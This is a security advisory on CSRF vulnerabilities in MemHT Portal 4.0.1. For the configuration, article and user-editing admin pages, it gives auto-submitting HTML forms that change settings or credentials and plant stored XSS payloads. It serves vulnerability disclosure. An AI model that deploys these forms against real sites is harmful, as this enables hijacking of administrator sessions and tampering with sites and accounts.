Cross-site Request Forgery (CSRF) Vulnerabilities in MemHT Portal

Advisory ID:HTB22662
Product:MemHT Portal
Vendor:Miltenovik Manojlo
Vulnerable Versions:4.0.1 and probably prior
Tested Version:4.0.1
Advisory Publication:October 19, 2010 [without technical details]
Vendor Notification:October 19, 2010
Public Disclosure:November 2, 2010
Latest Update:October 20, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Not Fixed
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in MemHT Portal which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in MemHT Portal
1.1 The vulnerability exists due to insufficient validation of the request origin in admin/pages/configuration/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings. Due to insufficient sanitation of input data in the “copyright” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action="http://host/admin.php?page=configuration&op=siteConfig&ok=true" method="post" name="main">
<input type="hidden" name="nome_sito" value="sitename">
<input type="hidden" name="site_url" value="http://host">
<input type="hidden" name="webmaster_mail" value="email@host.com">
<input type="hidden" name="site_open" value="1">
<input type="hidden" name="offlinemsg" value="">
<input type="hidden" name="defpage" value="news">
<input type="hidden" name="timestamp" value="%d/%m/%Y %H:%i">
<input type="hidden" name="timezone" value="0">
<input type="hidden" name="admin_ghosts" value="1">
<input type="hidden" name="infobar" value="0">
<input type="hidden" name="graphic_check" value="1">
<input type="hidden" name="textarea_editor" value="1">
<input type="hidden" name="modrewrite" value="0">
<input type="hidden" name="footmsg" value="">
<input type="hidden" name="copyright" value="copyright<img src=x onerror=alert(12345)>">
<input type="hidden" name="descrizione" value="">
<input type="hidden" name="metatags" value="">
<input type="hidden" name="user_max_lunghezza" value="20">
<input type="hidden" name="pass_max_lunghezza" value="20">
<input type="hidden" name="user_confirm_email" value="1">
<input type="hidden" name="approve_users" value="0">
<input type="hidden" name="num_news_home" value="5">
<input type="hidden" name="num_news_page" value="20">
<input type="hidden" name="guest_msgbox" value="0">
<input type="hidden" name="forumattachment" value="0">
<input type="hidden" name="forumattachmentfolder" value="attachment">
<input type="hidden" name="virtualpages" value="1">
<input type="hidden" name="usecomments" value="1">
<input type="hidden" name="guest_com" value="0">
<input type="hidden" name="Submit" value="Save">
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to insufficient validation of the request origin in admin/pages/articles/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit arbitrary articles. Due to insufficient sanitation of input data in the “nome” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action="http://host/admin.php?page=articles&op=editArticle&id=1&ok=true" method="post" name="main">
<input type="hidden" name="nome" value="Example article<img src=x onerror=alert(123)>">
<input type="hidden" name="argomento" value="1">
<input type="hidden" name="descrizione" value="description">
<input type="hidden" name="testo" value="text">
<input type="hidden" name="autore" value="User">
<input type="hidden" name="tags" value="article,example">
<input type="hidden" name="language" value="0">
<input type="hidden" name="usecomments" value="1">
<input type="hidden" name="enabled" value="1">
<input type="hidden" name="Submit" value="Modify">
</form>
<script>
document.main.submit();
</script>

1.3 The vulnerability exists due to insufficient validation of the request origin in admin/pages/users/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit change user credentials. Due to insufficient sanitation of input data in the “adm_sito” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action="http://host/admin.php?page=users&id=USER_ID&ok=true" method="post" enctype="multipart/form-data" name="main">
<input type="hidden" name="adm_user" value="test">
<input type="hidden" name="adm_enabled" value="1">
<input type="hidden" name="adm_email" value="email@example.com">
<input type="hidden" name="adm_sito" value="1<img src=x onerror=alert(123)>">
<input type="hidden" name="adm_icq" value="">
<input type="hidden" name="adm_msn" value="">
<input type="hidden" name="adm_aol" value="">
<input type="hidden" name="adm_yahoo" value="">
<input type="hidden" name="adm_avatar" value="blank.png">
<input type="hidden" name="avatar" value="">
<input type="hidden" name="adm_gender" value="0">
<input type="hidden" name="adm_title_enabled" value="0">
<input type="hidden" name="adm_title_text" value="1">
<input type="hidden" name="feedurl" value="http://www.memht.com/rss-news.xml">
<input type="hidden" name="adm_signature" value="">
<input type="hidden" name="adm_pass" value="">
<input type="hidden" name="adm_pass2" value="">
<input type="hidden" name="op" value="editUser">
<input type="hidden" name="Submit" value="Modify">
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22662 - https://www.immuniweb.com/advisory/HTB22662 - Cross-site Request Forgery (CSRF) Vulnerabilities in MemHT Portal
[2] MemHT Portal - memht.com - MemHT Portal is a free PHP content management and blogging system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Solutions
Get a Demo
Newsletter